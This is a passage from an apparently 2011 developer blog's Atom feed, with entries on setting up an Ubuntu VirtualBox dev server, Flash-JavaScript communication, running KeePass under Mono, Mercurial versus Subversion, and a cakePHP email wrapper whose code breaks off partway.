&lt;p&gt;Seems like the bug come from Firefox internals and not Firebug. More details [on
this post.](http://groups.google.com/group/mozilla.dev.platform/browse_thr
ead/thread/1faabb0d0a8d26f7?hl=en)&lt;/p&gt;
&lt;p&gt;Edit: Seems to be
&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=649338&quot;&gt;resolved in Firefox&lt;/a&gt;, will
be available in next release (8.0 I guess).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Installing Ubuntu in VirtualBox to work as a development server</title>
    <link href="https://blog.pixelastic.com/2011/03/31/installing-ubuntu-virtualbox-work-development-server/"/>
    <updated>2011-03-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/03/31/installing-ubuntu-virtualbox-work-development-server</id>
    <content type="html">&lt;p&gt;I was tired of trying to install Lighttpd on Windows (hint: don&#39;t try, it&#39;s a
mess. I found no way to get vhosts and php as cgi at the same time). So I
finally decided that Linux was the way to go.&lt;/p&gt;
&lt;p&gt;I have always developped using Windows, and even if I&#39;m slowly migrating to
Ubuntu at home, I&#39;m still using Windows 7 at work. The solution that best fits
me was still using my Windows environment for coding, but using Ubuntu inside a
VM to act as a server.&lt;/p&gt;
&lt;p&gt;Let&#39;s see how I did that:&lt;/p&gt;
&lt;h2&gt;Required components&lt;/h2&gt;
&lt;p&gt;First, let&#39;s clarify what I&#39;ll have to install for this project: Lighttpd as the
webserver, mysql and memcached for storing data and php5 to run cakePHP.&lt;/p&gt;
&lt;h2&gt;Step One: Running Ubuntu inside a VM&lt;/h2&gt;
&lt;p&gt;Start by downloading the [Ubuntu iso](http://www.ubuntu.com/business/get-
ubuntu/download) (i&#39;s 687Mo, you&#39;d better start this download first). I
personnaly used the 10.04 Desktop version (I tried the 10.10 Server version
first but I feel more confident with a UI).&lt;/p&gt;
&lt;p&gt;Then, download
&lt;a href=&quot;http://www.virtualbox.org/wiki/Downloads&quot;&gt;the latest VirtualBox version&lt;/a&gt;(4.0.4
at the time of this writing).&lt;/p&gt;
&lt;p&gt;And mount the iso in VirtualBox and start the install. This is pretty easy and
you should be done in 10mn. Once the install is finished, you&#39;ll be prompted to
reboot. Do not reboot just now. Instead, shutdown your guest machine (you can
type &lt;code&gt;sudo halt&lt;/code&gt; if the GUI does not work).&lt;/p&gt;
&lt;p&gt;Once back in Windows, go to your VM config and unmount the install iso,
otherwise the install procedure will be started again everytime you load your
VM.&lt;/p&gt;
&lt;p&gt;Once it&#39;s done, you can reboot the gues and once loaded, select the in
VirtualBox Menu =&amp;gt; Devices =&amp;gt; Install guest additions. The next popup can take
some long minutes to show, so be patient. This will install the guest additions
that will allow you to easily communicate between the guest and host machines.&lt;/p&gt;
&lt;p&gt;Once installed, reboot once more, and you should have the guest addition image
sitting on your desktop.&lt;/p&gt;
&lt;p&gt;Start a terminal and install the guest additions by doing:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /media/{name&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; of&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; your&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; VBOX&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; image}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;./autorun.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will finish the guest addition installation. Reboot your guest machine one
last time and you&#39;ll be ready for step 2.&lt;/p&gt;
&lt;h2&gt;Step 2: Installing the server stuff&lt;/h2&gt;
&lt;p&gt;We will now install the various components we&#39;ll need. You could probably
install them all with one command but I&#39;ll split them in different line so
you&#39;ll correctly see what&#39;s installed.&lt;/p&gt;
&lt;p&gt;First, lighttpd:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; lighttpd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, memcached&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; memcached&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And mysql server. This one will prompt you to enter the root password you&#39;ll
want.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mysql-server&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we will install php5 as CGI (Lighty will run php as cgi), as well as the
needed dependency so php can connect to both mysql and memcache.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; php5-cgi&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; php5-memcache&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; php5-mysql&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, you should now have everything correctly installed. We will configure all
that stuff later. You should now completely close your Virtual Machine and get
back to Windows. It&#39;s time to configure your host and guest so they can
correctly communicate&lt;/p&gt;
&lt;h2&gt;Step 3: Enabling communication between host and guest&lt;/h2&gt;
&lt;p&gt;What we will do in this section is configure your network so the guest machine
is considered part of your network and so you can connect to id using SSH and
classic http.&lt;/p&gt;
&lt;p&gt;First, go back to your VM config and change the Network mode to &amp;quot;Bridged&amp;quot;. This
will allow both machine to see each other in your network easily.&lt;/p&gt;
&lt;p&gt;Then, define the Shared folder you want shared from your host in your guest. I
shared my websites directories so Lighty could access them from the guest.&lt;/p&gt;
&lt;p&gt;Now, start your VM, and type &lt;code&gt;sudo ifconfig&lt;/code&gt; in a terminal. You should see your
guest machine ip. Mine was 192.168.1.16.&lt;/p&gt;
&lt;p&gt;Knowing that IP, you can define hosts in your Windows
&lt;code&gt;C:&#92;Windows&#92;System32&#92;drivers&#92;etc&#92;hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You should also install openssh server so that you&#39;ll be able to connect to your
guest machine using ssh:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; openssh-server&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will now take care of the shared folder defined earlier. Selecting them in
VirtualBox only made them available for mounting in the guest, but you&#39;ll now
have to type some more commands to effectively see them. I needed to have access
to a project I coded in my host (let&#39;s name it &lt;code&gt;myproject&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Here&#39;s how I made it available to Lighty:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mkdir&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /var/www/myproject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mount&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -t&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; vboxsf&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rw,uid=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;,gid=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -g&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; www-data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;myproject&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /var/www/myproject&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a directory in &lt;code&gt;/var/www&lt;/code&gt; to hold the project, and will then
mount the shared folder to that directory. The uid/gid stuff indicate that you
(the current user) is the owner and &lt;code&gt;www-data&lt;/code&gt; is the group. Doing so will fix
access rights issues you may have with Lighty.&lt;/p&gt;
&lt;p&gt;You should have to re-run the last command on every login, so I strongly suggest
you to put it in &lt;code&gt;/etc/rc.local&lt;/code&gt; so it gets executed automatically.&lt;/p&gt;
&lt;h2&gt;Step 4: Configuring all that stuff&lt;/h2&gt;
&lt;p&gt;I won&#39;t go into much details on how to configure lighty or php because it is not
the scope of this post. I might post on that subject later, though. But here is
one important step you shouldn&#39;t forget: uncomment the cgi.fix_pathinfo=1 line
in your php.ini.&lt;/p&gt;
&lt;p&gt;Don&#39;t forget to reload Lighty after changes to its config files by running:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /etc/init.d/lightppd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; restart&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also had one additional side-effect on my install: installing php5 also
installed Apache, causing Lighty to fail on startup because Apache was already
using the port 80. I fixed it by removing every reference to Apache by running :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; update-rc.d&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apache2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final note:&lt;/h2&gt;
&lt;p&gt;If you followed this instruction, you should have a server running inside a VM
that runs your website stored in your host. Isn&#39;t that pretty?&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Making Flash and Javascript speaks to each other</title>
    <link href="https://blog.pixelastic.com/2011/03/24/making-flash-javascript-speaks/"/>
    <updated>2011-03-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/03/24/making-flash-javascript-speaks</id>
    <content type="html">&lt;p&gt;I needed a Flash app and my Javascript code to be able to communicate. The Flash
needed to call some methods in the Javascript, and in turn the Javascript needed
to inject back some data into the Flash.&lt;/p&gt;
&lt;p&gt;I let my Flash coder colleague took care of the Flash side, he needed to
implement ExternalInterface, register some callbacks methods that I could call
and more importantly change some security settings to make it work.&lt;/p&gt;
&lt;p&gt;On my side, I just needed to get the &lt;code&gt;object&lt;/code&gt; element holding the Flash (thanks
to &lt;code&gt;swfobject.getObjectById&lt;/code&gt; it was pretty easy) and call the callback method
registered in Flash on it.&lt;/p&gt;
&lt;p&gt;Piece of cake.&lt;/p&gt;
&lt;p&gt;Have a look at this [blog post from CircleCube](http://circlecube.com/2010/12
/actionscript-as3-javascript-call-flash-to-and-from-javascript/), it does a
pretty neat job at explaining all of that.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;I finally had some issues with this implementation. It was working perfectly on
some servers but not on others. We finally found that calling
Security.allowDomain(&#39;*.mainhost.com&#39;) wasn&#39;t working.&lt;/p&gt;
&lt;p&gt;You have to explicitly allow each domain/subdomain.&lt;/p&gt;
&lt;p&gt;As our code would be deployed on various duplicate domains, we had to manually
pass as a flash var the domain to allow.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating from Windows to Ubuntu: KeePass</title>
    <link href="https://blog.pixelastic.com/2011/03/05/migrating-windows-ubuntu-keepassah/"/>
    <updated>2011-03-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/03/05/migrating-windows-ubuntu-keepassah</id>
    <content type="html">&lt;p&gt;I&#39;m slowly trying to move my development machine from a desktop Windows Xp to a
laptop running Ubuntu. This is quite a long task because there are so much
softwares I depend on on my day to day work. Most of them are crossplatform but
I often need o find a Ubuntu equivalent, and sometimes it does not exists and I
have to run the Windows app using an emulator.&lt;/p&gt;
&lt;p&gt;This is exactly the case with &lt;a href=&quot;http://keepass.info/&quot;&gt;KeePass&lt;/a&gt;. KeePass 2.0 is an
improved version of KeePass 1.0 (obviously), that allows one to save all
password in one place. The 2.0 version also permit to save more than single
password, virtually anything, and adding little icons to each entry (when you
start having 200+ entries, icons are a must have).&lt;/p&gt;
&lt;h2&gt;Enter Ubuntu world&lt;/h2&gt;
&lt;p&gt;The official 2.0 version is not supported under linux. There is a linux port,
named &lt;a href=&quot;http://www.keepassx.org/&quot;&gt;KeePassX&lt;/a&gt;, but it does not support the &lt;code&gt;.kdbx&lt;/code&gt;
file format used by the official 2.0 version.&lt;/p&gt;
&lt;p&gt;So I tried to run the Windows &lt;code&gt;.exe&lt;/code&gt; file with Wine at first (I already had Wine
installed to run another app), but it wasn&#39;t working with KeePass. I tried
instead an other emulator, Mono, and running &lt;code&gt;mono KeePass.exe&lt;/code&gt; totally worked.&lt;/p&gt;
&lt;h2&gt;Little tweaks ahead&lt;/h2&gt;
&lt;p&gt;First of all, I had to install two additionnal packages to make it open without
errors: &lt;code&gt;System.Windows.Forms&lt;/code&gt; and &lt;code&gt;System.Runtime&lt;/code&gt;. So far, so good.&lt;/p&gt;
&lt;p&gt;But, I quickly discovered that one of the most usefull features of KeePass,
auto-type (Ctrl+V automatically fills a login/password field) wasn&#39;t working
correctly. There was one more missing dependency: &lt;code&gt;xdotool&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you are running Ubuntu like me, do not install it from the official packages,
this version is completly outdated and won&#39;t work. Instead, you have to manually
install the latest version. If you are lucky and running a 64bits system, you
can download directly [the .deb file from here](http://code.google
.com/p/semicomplete/downloads/list?can=2&amp;amp;q=label%3A.deb+label%3Axdotool+label%
3Afeatured&amp;amp;colspec=Filename+Summary+Uploaded+ReleaseDate+Size+DownloadCount).&lt;/p&gt;
&lt;p&gt;If you are running under a 32bits system like me, you&#39;ll have to manually
install it. First grab
&lt;a href=&quot;ttp://code.google.com/p/semicomplete/downloads/list?q=label:xdotool&quot;&gt;the files from this link&lt;/a&gt;.
Then, install the &lt;code&gt;libxtst-dev&lt;/code&gt; package (it is needed for the install to
complete), export the content of the &lt;code&gt;.tar.gz&lt;/code&gt; file into a temporary directory
and execute &lt;code&gt;sudo make install&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Finally!&lt;/h2&gt;
&lt;p&gt;Now, you got KeePass 2.0 working under Ubuntu, and installed all dependencies
needed to run the auto-type feature.&lt;/p&gt;
&lt;p&gt;In a Windows environment, one can change KeePass preferences so that closing it
only send it to the tray bar.This option does not seem to be working under
Linux, KeePass still shows in the task bar even when minimized. I spent some
time trying to fix that too, tetsing AllTray and other tray softs for linux but
didn&#39;t managed to get what I wanted.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Differences between Mercurial and Subversion</title>
    <link href="https://blog.pixelastic.com/2011/02/23/differences-mercurial-subversion/"/>
    <updated>2011-02-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/02/23/differences-mercurial-subversion</id>
    <content type="html">&lt;p&gt;People at my current job are using Subversion, and our project will be tracked
using it. I never used Subversion before, the only versionning system I ever
used was Mercurial. And moving from one to the other meant changing a lot of
reflexs I had.&lt;/p&gt;
&lt;p&gt;Here is a little list of changes, mostly as a reminder for myself.&lt;/p&gt;
&lt;h2&gt;Directories&lt;/h2&gt;
&lt;p&gt;Mercurial uses a single &lt;code&gt;.hg&lt;/code&gt; directory at the root of your project to store all
your project history while Subversion adds multiple &lt;code&gt;.svn&lt;/code&gt; directories in each
directory, to track history changes to that directory only.&lt;/p&gt;
&lt;p&gt;I prefer the Mercurial approach, it keeps all changes centralized in one place.
You can simply remove the &lt;code&gt;.hg&lt;/code&gt; directory to transform your versionned version
into a stand-alone one.&lt;/p&gt;
&lt;p&gt;While the Subversion approach litters your app with countless hidden
directories, making copy and pasting a real pain.&lt;/p&gt;
&lt;h2&gt;Centralised vs Distributed&lt;/h2&gt;
&lt;p&gt;Subversion is centralised while Mercurial is distributed.&lt;/p&gt;
&lt;p&gt;As far as I understand the difference, it means that Subversion uses one main
directory to store the versionned version and can deploy (export) a specific
revision at anytime.&lt;/p&gt;
&lt;p&gt;That revision do not hold any history information, it is only a copy of your
project at a given time.&lt;/p&gt;
&lt;p&gt;On the other hand, each Mercurial repository holds both the current public
version and all the history. You do not have to deploy anything anywhere,
just &lt;code&gt;update&lt;/code&gt; your current repo with data from one of the revision.&lt;/p&gt;
&lt;h2&gt;Tortoise&lt;/h2&gt;
&lt;p&gt;I am using both TortoiseSVN and TortoiseHg. When you commit with TortoiseSVN it
displays the list of files that where updated since the last commit. If you
added new files, they won&#39;t show unless the &amp;quot;Show unversionned files&amp;quot; is
checked.&lt;/p&gt;
&lt;p&gt;In TortoiseHg, all new files are automatically seen in the commit window, as
well as a diff. It allows me the easily see what changes where made, and help me
write my commit message.&lt;/p&gt;
&lt;p&gt;I really like the TortoiseHg vision better.&lt;/p&gt;
&lt;h2&gt;Tracking directories&lt;/h2&gt;
&lt;p&gt;Subversion can track empty directory, just by adding them. Mercurial can&#39;t. You
have to add an empty file in each to allow tracking.&lt;/p&gt;
&lt;p&gt;Also, when doing a commit in a specific directory in Mercurial, it will commit
the whole repo, while with Subversion it will only commit the current repo. I
can see the benefits of both and I&#39;m not quite sure which is better.&lt;/p&gt;
&lt;p&gt;Subversion will allow me to do a commit of one special feature by committing
only one directory, but the TortoiseHg integration help me doing commits more
easily no matter where I&#39;m browsing.&lt;/p&gt;
&lt;h2&gt;Ignoring files&lt;/h2&gt;
&lt;p&gt;I have some files in my project I don&#39;t want to track (like auto-generated cache
files). In Mercurial, all I need is editing the &lt;code&gt;.hgignore&lt;/code&gt; file with regexps.
The syntax can be a little strange sometimes, it took me a while to correcly
understand it, but it definitely works.&lt;/p&gt;
&lt;p&gt;On Subversion, I can add files to the ignore list so they don&#39;t show as
&amp;quot;unversionned&amp;quot;, but I can also add a &lt;code&gt;svn:ignore&lt;/code&gt; property to a specific
directory to set regexp to files that I don&#39;t want to track. The end result is
the same, but the way Mercurial handle it with one file is more appealing to me.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Having all history in one dir and all ignore rules in one files seems a better
approach to me. I guess on some aspects Mercurial is still more centralised than
Subversion.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>cakePHP wrapper for EmailComponent::send()</title>
    <link href="https://blog.pixelastic.com/2011/02/20/cakephp-wrapper-emailcomponent-send/"/>
    <updated>2011-02-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/02/20/cakephp-wrapper-emailcomponent-send</id>
    <content type="html">&lt;p&gt;As I already wrote in a [previous post](/blog/230:displaying-html-mails-sent-
from-cakephp-in-squirrelmail), the cakePHP &lt;code&gt;EmailComponent&lt;/code&gt; seems to have some
quirks, forcing me to add more code to send an email.&lt;/p&gt;
&lt;p&gt;I stumbled upon one more issue today: a &lt;code&gt;View&lt;/code&gt; poisoning coming from the
&lt;code&gt;EmailComponent&lt;/code&gt;. Some vars I was passing to my view through the use of a custom
&lt;code&gt;Helper&lt;/code&gt; were wipe away if I send a mail in the same request.&lt;/p&gt;
&lt;p&gt;It took me some time to track it down, but I finally decided that I&#39;ll now wrap
calls to &lt;code&gt;$this-&amp;gt;Email-&amp;gt;send()&lt;/code&gt; into a &lt;code&gt;__sendEmail()&lt;/code&gt; custom method where I&#39;ll
add my tweaks.&lt;/p&gt;
&lt;p&gt;This will help migrating to a newer cake version easier when those bugs will be
fixed.&lt;/p&gt;
&lt;h2&gt;Easy debug&lt;/h2&gt;
&lt;p&gt;Debugging emails is not an easy task, but is greatly eased by cake. One can set
the delivery type to &lt;code&gt;debug&lt;/code&gt; and the mail will be generated like a normal mail,
but won&#39;t be sent. Instead, its content will be saved in &lt;code&gt;Session&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;My wrapper will allow switching from normal to debug mail thanks to an argument.&lt;/p&gt;
&lt;h2&gt;View cleaning&lt;/h2&gt;
&lt;p&gt;I&#39;ll also clear the &lt;code&gt;ClassRegistry&lt;/code&gt; from the &lt;code&gt;View&lt;/code&gt; created by the
&lt;code&gt;EmailComponent&lt;/code&gt;. The &lt;code&gt;Email&lt;/code&gt; view is shared with the display view and this can
result in vars being lost or not correctly set. I think all those troubles are
gone in cake 2.0 but I haven&#39;t tested it yet.&lt;/p&gt;
&lt;h2&gt;The __sendMail method&lt;/h2&gt;
&lt;p&gt;Here is the method code. You should add it to your AppController:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __sendMail&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sendAsDebug&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Debug mode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sendAsDebug&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;delivery&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;debug&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We force adding the boundaries and header otherwise some webmail (like SquirelMail) won&#39;t correctly display them&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_createboundary&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
